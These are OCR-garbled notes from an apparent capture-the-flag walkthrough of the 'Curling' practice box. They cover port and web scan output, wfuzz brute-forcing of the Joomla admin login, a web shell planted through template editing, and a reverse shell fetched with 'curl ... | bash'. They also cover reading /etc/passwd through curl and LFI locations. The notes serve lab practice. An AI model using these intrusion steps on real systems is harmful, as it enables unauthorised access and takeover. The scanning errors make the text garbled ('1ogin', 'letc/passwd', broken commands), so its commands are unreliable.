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22/tcp open ssh OpenSSH 7.6pl Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:al:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
| 256 cl:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (EdDSA)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| _http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
http-generator: Joomla! - Open Source Content Management

|_
| http-methods:

| _ Supported Methods: HEAD POST OPTIONS

| _http-server-header: Apache/2.4.29 (Ubuntu)

| _http-title: Home

514/tcp filtered shell

+ 0SVDB-3092: /administrator/: This might be interesting...

+ 0SVDB-3092: /bin/: This might be interesting...

+ 0SVDB-3092: /includes/: This might be interesting...

+ 0SVDB-3092: /tmp/: This might be interesting...

+ 0SVDB-3092: /bin/: This might be interesting... possibly a system shell found.

+ 0SVDB-3092: /LICENSE.txt: License file found may identify site software.

+ 0SVDB-3233: /icons/README: Apache default file found.

+ /htaccess.txt: Default Joomla! htaccess.txt file found. This should be removed or renamed.
+ /administrator/index.php: Admin login page/section found.
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Editor Create Overrides Template Description

Editing file "/index.php" in template "heez3".

JLoader: :import('joomla.filesystem.file');
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1 <?php
& htmi 2 Vit
* @package Joomla.Site
@ images 4 * @subpackage Templates.beez3
- ) * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.
@ javascript 7 * @license GNU General Public License wversion 2 or later; see LICENSE.txt
3 =y
& language :
1 // No direct access.
" 11 defined(' JEXEC') or die;
[ component.php 1
13 /** @var JDocumentHtml $this */
[ error.php 14
15
1¢
2z
18

L1 index.php // Check modules

sshowRightColumn = ($this->countModules('position-3') or $this->countModules('positicn-6') or
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1. Cewl: a Custom Word List generator.

1. Geta word list from a webpage: cewl -w cewl.out [IP]

2. Joomla!is a free and open-source content management system for publishing web content. joomscan is a Joomla
vulnerability scanner.

1. joomscan --url -ec | tee joomscan.out

3. Manually enumerate Joomla version:
4. Use wfuzz to fuzz the admin page.

:~/htb/boxes/curling# wfuzz --hc 200 -w cewl.out -d 'username=FUZZ&passwd=Curling2018!&option=com_login&task=1ogin&return=aW5kZXgucGhw&b8580
d520b475c1ab61216fd824fbdcO=1" -c -b 'c0548020854924e0aecd05ed9f5b672b=tpmssmebm2m@a2b5tue22s1l2vu; 99fb082d992a92668ce87e5540bd20fa=1if5htuvb8gg27tq

9mgjbdt25f4' http://10.10.10.150/administrator/index.php

5. Afterlogin, find a way to edit the templates. To get a shell:

1. Upload cmd.php

2. Putareverse shell (e.g. bash) behind the SimpleHTTPServer.
3. Listen on a port bond with the reverse shell.
4

. Use cmd.php to call the reverse shell (curl ... | bash)

6. To getan up-key in remote shell:
1. python pty.

Background the session.

Run this: stty raw -echo

Back to the session.

export TERM=xterm
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7. To reverse a hex dump: xxd -r [file] > output
8. bzcat: bzip2 decompress zcat: gzip decompress tar -xf: tar decompress
9. Or we can use gchq CyberChef to do the decompression.

10. curlfile:///letc/passwd curl -K input -0 output  And some magic to get root shell with curl. Check out ippsec’s and
there is a timestamp.

11. Places to find LFI: /var/spool/cron/crontabs(/root) /var/log/syslog
12. is a tool to show when processes start/end.
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